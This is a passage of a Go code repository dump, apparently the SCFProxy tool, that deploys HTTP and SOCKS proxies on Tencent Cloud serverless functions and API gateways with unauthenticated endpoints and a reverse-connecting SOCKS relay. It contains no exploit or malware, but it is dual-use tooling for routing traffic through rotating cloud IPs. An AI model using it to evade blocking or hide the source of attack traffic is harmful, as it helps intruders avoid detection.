p.deleteService(opts.ServiceId) 79 | 80 | } 81 | 82 | func (p *Provider) createService(name string) (string, string, error) { 83 | r := apigateway.NewCreateServiceRequest() 84 | r.Protocol = common.StringPtr("http&https") 85 | r.ServiceName = common.StringPtr(name) 86 | 87 | resp, err := p.gclient.CreateService(r) 88 | if err != nil { 89 | return "", "", err 90 | } 91 | serviceId, serviceDomain := *resp.Response.ServiceId, *resp.Response.OuterSubDomain 92 | return serviceId, serviceDomain, nil 93 | } 94 | 95 | func (p *Provider) createApi(serviceId, origin string) (string, error) { 96 | protocol := "HTTP" 97 | method := "ANY" 98 | u, _ := url.Parse(origin) 99 | if u.Scheme == "ws" || u.Scheme == "wss" { 100 | protocol = "WEBSOCKET" 101 | method = "GET" 102 | } 103 | 104 | r := apigateway.NewCreateApiRequest() 105 | r.ApiName = common.StringPtr(strings.ToLower(protocol)) 106 | r.AuthType = common.StringPtr("NONE") 107 | r.ResponseType = common.StringPtr("BINARY") 108 | r.ServiceType = common.StringPtr(protocol) 109 | r.ServiceTimeout = common.Int64Ptr(900) 110 | r.Protocol = common.StringPtr(protocol) 111 | r.ServiceId = common.StringPtr(serviceId) 112 | r.RequestConfig = &apigateway.ApiRequestConfig{ 113 | Path: common.StringPtr("/"), 114 | Method: common.StringPtr(method), 115 | } 116 | r.ServiceConfig = &apigateway.ServiceConfig{ 117 | Url: common.StringPtr(origin), 118 | Path: common.StringPtr("/"), 119 | Method: common.StringPtr(method), 120 | } 121 | 122 | resp, err := p.gclient.CreateApi(r) 123 | if err != nil { 124 | return "", err 125 | } 126 | apiId := *resp.Response.Result.ApiId 127 | 128 | return apiId, nil 129 | } 130 | 131 | func (p *Provider) releaseService(serviceId string) error { 132 | r := apigateway.NewReleaseServiceRequest() 133 | r.ServiceId = common.StringPtr(serviceId) 134 | r.ReleaseDesc = common.StringPtr("") 135 | r.EnvironmentName = common.StringPtr("release") 136 | 137 | _, err := p.gclient.ReleaseService(r) 138 | return err 139 | } 140 | 141 | func (p *Provider) unreleaseService(serviceId string) error { 142 | r := apigateway.NewUnReleaseServiceRequest() 143 | r.ServiceId = common.StringPtr(serviceId) 144 | r.EnvironmentName = common.StringPtr("release") 145 | 146 | _, err := p.gclient.UnReleaseService(r) 147 | return err 148 | } 149 | 150 | func (p *Provider) deleteService(serviceId string) error { 151 | r := apigateway.NewDeleteServiceRequest() 152 | r.ServiceId = common.StringPtr(serviceId) 153 | 154 | _, err := p.gclient.DeleteService(r) 155 | return err 156 | } 157 | 158 | func (p *Provider) deleteApi(serviceId, apiId string) error { 159 | r := apigateway.NewDeleteApiRequest() 160 | r.ServiceId = common.StringPtr(serviceId) 161 | r.ApiId = common.StringPtr(apiId) 162 | 163 | _, err := p.gclient.DeleteApi(r) 164 | return err 165 | } 166 | 167 | func (p *Provider) createIPControlPlugin(ips []string) (string, error) { 168 | r := apigateway.NewCreatePluginRequest() 169 | r.PluginName = common.StringPtr("") 170 | r.PluginType = common.StringPtr("IPControl") 171 | r.Description = common.StringPtr(strings.Join(ips, "\n")) 172 | r.PluginData = common.StringPtr(generatePluginData(ips)) 173 | 174 | // 返回的resp是一个CreatePluginResponse的实例,与请求对象对应 175 | resp, err := p.gclient.CreatePlugin(r) 176 | if err != nil { 177 | return "", err 178 | } 179 | 180 | return *resp.Response.Result.PluginId, nil 181 | } 182 | 183 | func (p *Provider) attachPlugin(serviceId, apiId, pluginId string) error { 184 | r := apigateway.NewAttachPluginRequest() 185 | r.PluginId = common.StringPtr(pluginId) 186 | r.ServiceId = common.StringPtr(serviceId) 187 | r.EnvironmentName = common.StringPtr("release") 188 | r.ApiIds = common.StringPtrs([]string{apiId}) 189 | 190 | _, err := p.gclient.AttachPlugin(r) 191 | return err 192 | } 193 | 194 | func (p *Provider) deletePlugin(pluginId string) error { 195 | r := apigateway.NewDeletePluginRequest() 196 | 197 | r.PluginId = common.StringPtr(pluginId) 198 | 199 | // 返回的resp是一个DeletePluginResponse的实例,与请求对象对应 200 | _, err := p.gclient.DeletePlugin(r) 201 | return err 202 | } 203 | 204 | func generatePluginData(ips []string) string { 205 | ip := strings.Join(ips, "\\n") 206 | return fmt.Sprintf("{\"type\": \"white_list\", \"blocks\": \"%s\"}", ip) 207 | } 208 | -------------------------------------------------------------------------------- /sdk/provider/tencent/socks.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 5 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" 6 | scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" 7 | 8 | "github.com/shimmeris/SCFProxy/function" 9 | "github.com/shimmeris/SCFProxy/sdk" 10 | ) 11 | 12 | func (p *Provider) DeploySocksProxy(opts *sdk.FunctionOpts) error { 13 | if err := p.createNamespace(opts.Namespace); err != nil { 14 | return err 15 | } 16 | 17 | return p.createSocksFunction(opts.Namespace, opts.FunctionName) 18 | } 19 | 20 | func (p *Provider) ClearSocksProxy(opts *sdk.FunctionOpts) error { 21 | return p.deleteFunction(opts.Namespace, opts.FunctionName) 22 | } 23 | 24 | func (p *Provider) createSocksFunction(namespace, functionName string) error { 25 | r := scf.NewCreateFunctionRequest() 26 | r.Namespace = common.StringPtr(namespace) 27 | r.FunctionName = common.StringPtr(functionName) 28 | r.Handler = common.StringPtr("main") 29 | r.Runtime = common.StringPtr("Go1") 30 | r.Code = &scf.Code{ZipFile: common.StringPtr(function.TencentSocksCodeZip)} 31 | r.Timeout = common.Int64Ptr(900) 32 | r.MemorySize = common.Int64Ptr(128) 33 | 34 | _, err := p.fclient.CreateFunction(r) 35 | if err != nil { 36 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCEINUSE_FUNCTION { 37 | return err 38 | } 39 | } 40 | return nil 41 | } 42 | 43 | func (p *Provider) InvokeFunction(opts *sdk.FunctionOpts, message string) error { 44 | r := scf.NewInvokeRequest() 45 | r.Namespace = common.StringPtr(opts.Namespace) 46 | r.FunctionName = common.StringPtr(opts.FunctionName) 47 | r.InvocationType = common.StringPtr("Event") 48 | r.ClientContext = common.StringPtr(message) 49 | 50 | _, err := p.fclient.Invoke(r) 51 | return err 52 | 53 | } 54 | -------------------------------------------------------------------------------- /sdk/result.go: -------------------------------------------------------------------------------- 1 | package sdk 2 | 3 | type DeployReverseProxyResult struct { 4 | ServiceId string 5 | ApiId string 6 | PluginId string 7 | ServiceDomain string 8 | Origin string 9 | Region string 10 | Provider string 11 | Protocol string 12 | } 13 | -------------------------------------------------------------------------------- /socks/socks.go: -------------------------------------------------------------------------------- 1 | package socks 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "math/rand" 7 | "net" 8 | "os" 9 | "os/signal" 10 | "syscall" 11 | "time" 12 | 13 | "github.com/hashicorp/yamux" 14 | "github.com/sirupsen/logrus" 15 | "golang.org/x/exp/slices" 16 | ) 17 | 18 | const KeyLength = 16 19 | 20 | var sessions []*yamux.Session 21 | 22 | func listenScf(port, key string) { 23 | ln, err := net.Listen("tcp", "0.0.0.0:"+port) 24 | if err != nil { 25 | logrus.Fatal(err) 26 | } 27 | 28 | for { 29 | conn, err := ln.Accept() 30 | if err != nil { 31 | logrus.Fatal(err) 32 | } 33 | 34 | buf := make([]byte, KeyLength) 35 | conn.Read(buf) 36 | if string(buf) == key { 37 | fmt.Printf("New scf connection from %s\n", conn.RemoteAddr().String()) 38 | session, err := yamux.Client(conn, nil) 39 | if err != nil { 40 | logrus.Error(err) 41 | } 42 | sessions = append(sessions, session) 43 | } 44 | } 45 | } 46 | 47 | func listenClient(port string) { 48 | ln, err := net.Listen("tcp", "0.0.0.0:"+port) 49 | if err != nil { 50 | logrus.Fatal(err) 51 | } 52 | 53 | for { 54 | conn, err := ln.Accept() 55 | if err != nil { 56 | logrus.Error("listen client failed") 57 | } 58 | fmt.Printf("New socks connection from %s\n", conn.RemoteAddr().String()) 59 | go forward(conn) 60 | } 61 | } 62 | 63 | func forward(conn net.Conn) { 64 | scfConn := pickConn() 65 | 66 | _forward := func(src, dest net.Conn) { 67 | defer src.Close() 68 | defer dest.Close() 69 | io.Copy(src, dest) 70 | } 71 | 72 | go _forward(conn, scfConn) 73 | go _forward(scfConn, conn) 74 | 75 | } 76 | 77 | func pickConn() net.Conn { 78 | for { 79 | l := len(sessions) 80 | if l == 0 { 81 | logrus.Debug("No scf server connections") 82 | time.Sleep(5 * time.Second) 83 | continue 84 | } 85 | n := rand.Intn(l) 86 | conn, err := sessions[n].Open() 87 | 88 | // remove inactive connections 89 | if err != nil { 90 | fmt.Printf("Remove invalid connection from %s\n", sessions[n].RemoteAddr().String()) 91 | sessions[n].Close() 92 | sessions = slices.Delete(sessions, n, n+1) 93 | continue 94 | } 95 | 96 | return conn 97 | } 98 | } 99 | 100 | func Serve(socksPort, scfPort, key string) { 101 | go func() { 102 | c := make(chan os.Signal, 1) 103 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 104 | go func() { 105 | <-c 106 | for _, s := range sessions { 107 | s.Close() 108 | } 109 | os.Exit(0) 110 | }() 111 | }() 112 | 113 | fmt.Printf("scf listening on 0.0.0.0 %s\n", scfPort) 114 | go listenScf(scfPort, key) 115 | fmt.Printf("socks listening on 0.0.0.0 %s\n", socksPort) 116 | listenClient(socksPort) 117 | 118 | } 119 | --------------------------------------------------------------------------------